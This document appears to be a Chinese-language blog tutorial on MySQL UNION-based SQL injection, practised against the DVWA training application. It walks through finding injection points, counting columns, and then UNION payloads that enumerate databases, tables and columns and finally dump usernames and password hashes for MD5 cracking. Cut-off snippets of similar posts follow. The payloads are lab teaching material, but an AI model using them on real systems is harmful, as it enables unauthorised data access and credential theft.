目錄
一,sql注入必記的一庫三表
二,union聯合查詢注入
1,基本注入流程
1,判斷注入點
2,判斷多少列
3,判斷顯示位
4,顯示資料庫的基本資訊
5,顯示有哪些資料庫
6,顯示資料庫下有哪些表
7,判斷表裡有哪些字段
八,查詢資料表中有哪些資料
information_schema(資料庫)(
mysql
中預設的資料庫)
schemata(表):儲存了
mysql
下每乙個資料庫的相關資訊
schema_name(字段):資料庫名
tables(表):儲存了
mysql
下每乙個表的相關資訊
table_name(字段):資料表名稱
table_schema(字段):該資料表屬於哪乙個資料庫
columns(庫):儲存了
mysql
下每乙個資料表中的所有列名(欄位名)
column_name(字段):欄位名稱
table_name(字段):該欄位屬於哪乙個資料表
talbe_schema(字段):當前字段所屬資料表所在的資料庫名稱
注意:這三張表在
information_schema資料庫下面,在
sql注入過程中不能直接指定表名,
要使用「資料庫名
.
資料表名」的形式,例如:
information_schema.tables
判斷常用:
and //and是在知道使用者名稱或則id時使用
or //是在不知道的情況下使用
1,數字型注入點判斷手法:
1 and 1=1 //正常顯示
1 and 1=2 //空頁面或則報錯
2,字元型注入點判斷手法:常見的字元包裹符有—— '' 或 "" 或 ()
1' and 1=1 -- - //正常顯示
1' and 1=2 -- - //空頁面
3,搜尋型注入:判斷手法
***%' or 1=1 -- - //正常顯示
***%' or 1=1 -- - //頁面空顯示
判斷語句:
1' order by 1,2,3,n-- -
一直判斷到報錯
實列:dvwa
判斷語句:
1' union select 1,2-- -
一直判斷到報錯
以dnwa為例:
一般顯示位都是通過,有多少欄位來判斷的
在驗證一下是不是只有兩個顯示位
在多加一列就報錯了,那麼就顯示,只有兩個顯示位了
基本語句:
1' union select 1,(select database())-- - //database()顯示當前使用的資料庫
dvwa為例:
上面是注入語句,下面是資料庫名
由於有兩個顯示位,所以可以顯示兩條基本資訊
基本語句:
1' union select 1,(select group_concat(schema_name) from information_schema.schemata) -- -
以dvwa為例:
這就是我們查詢到的庫名了
基本語句:
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'dvwa')-- -
以dvwa為例:
既然知道了庫名,那麼在根據庫名查詢表名
基本語句:
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users')-- -
以dvwa為例
基本語句:
1' union select 1,(select group_concat(concat_ws("~",user,password)) from dvwa.users)-- -
獲取的是user和password
最後使用md5解密
SQL 聯合查詢 Union
集合運算子是針對兩個集合操作的,兩個集合必須有相同的列數 列具有相同的資料型別 至少能夠隱式轉換的 最終輸出的集合的列名是,由第乙個集合的列名來確定的 可以用來連線多個結果 注意 聯合 union 與連線不一樣 join 聯合 將多個結果集,合併為乙個結果集。union 去除重複,相當於預設應用了d...
簡單聯合union查詢注入
聯合查詢有前提 必須有顯示位 用sql labs來學習 這是第乙個 一 判斷是否用 做字串引號 and 1 1 正常輸出 出錯代表沒有閉合 說明沒有用 可能沒有用 或用了 或 則是 字串注入 二 判斷它所在的資料庫有幾列 order by 3 判斷是否有3列 正常 order by 4 判斷是否有4...
union聯合注入
方式一 首先嘗試id 1 and 1 1 或者id 1 and 1 1 或者1 and 1 1 或者 1 and 1 1 注釋符,假如是id 1 and 1 1 那麼and 1 1 就是我們可控的點 接下來在這個位置進行替換就好 id 1 order by 4 判斷字段個數,從order by 1 ...